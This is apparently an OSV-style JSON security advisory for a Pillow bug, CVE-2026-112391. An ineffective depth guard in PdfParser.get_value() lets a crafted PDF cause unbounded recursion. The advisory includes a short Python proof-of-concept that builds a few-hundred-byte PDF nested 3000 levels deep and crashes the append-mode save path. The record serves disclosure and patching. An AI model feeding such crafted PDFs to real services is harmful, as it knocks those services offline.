{"id":"CVE-2026-112391","aliases":["GHSA-254f-3936-288h"],"url":"https://o3.security/vulnerability/CVE-2026-112391","summary":"Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()","details":"### Summary\n`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=<pdf>, format=\"PDF\", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.\n\n### Details\n**`get_value()` in `src/PIL/PdfParser.py`**\n\nThis is a classmethod that takes `max_nesting: int = -1` and has a guard:\n\n```python\nif max_nesting == 0:\n    return None, None\n```\n\nEvery recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.\n\nThis advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel  `-1`  default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in  get_value() .\n\n### Steps to reproduce\nBoth PDFs below are plain text, built directly in Python, no PDF library needed.\n\n```python\nfrom PIL.PdfParser import PdfParser\n\ndef build_pdf(root):\n    out = bytearray(b\"%PDF-1.4\\n\")\n    offset = len(out)\n    out += f\"1 0 obj\\n\".encode()\n    out += root\n    out += b\"\\nendobj\\n\"\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    xref_offset = len(out)\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    out += b\"trailer\\n\"\n    out += f\"<< /Size 2 /Root 1 0 R >>\\n\".encode()\n    out += b\"startxref\\n\"\n    out += f\"{xref_offset}\\n\".encode()\n    out += b\"%%EOF\"\n    return bytes(out)\n\nbomb = b\"[\" * 3000 + b\"]\" * 3000\nroot = b\"<< /Type /Catalog /Pages 2 0 R /Bomb \" + bomb + b\" >>\"\nwith open(\"nesting_bomb.pdf\", \"wb\") as f:\n    f.write(build_pdf(root))\n\nPdfParser(\"nesting_bomb.pdf\")     # raises RecursionError\n```\n\nExpected: a clean `PdfFormatError`.\n\nActual: raises a raw `RecursionError: maximum recursion depth exceeded`.\n\n### Impact\n- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format=\"PDF\", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.\n- Confidentiality: none.\n- Integrity: none.\n- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.","published":"2026-10-19T20:40:36.285Z","modified":"2026-10-24T02:48:20.328248437Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"pillow","fixedVersion":"13.0.0"}],"fix":{"url":"https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd","label":"python-pillow/Pillow@94cb11c"},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112391.json"},{"type":"ADVISORY","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112391"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T02:48:20.328248437Z"}}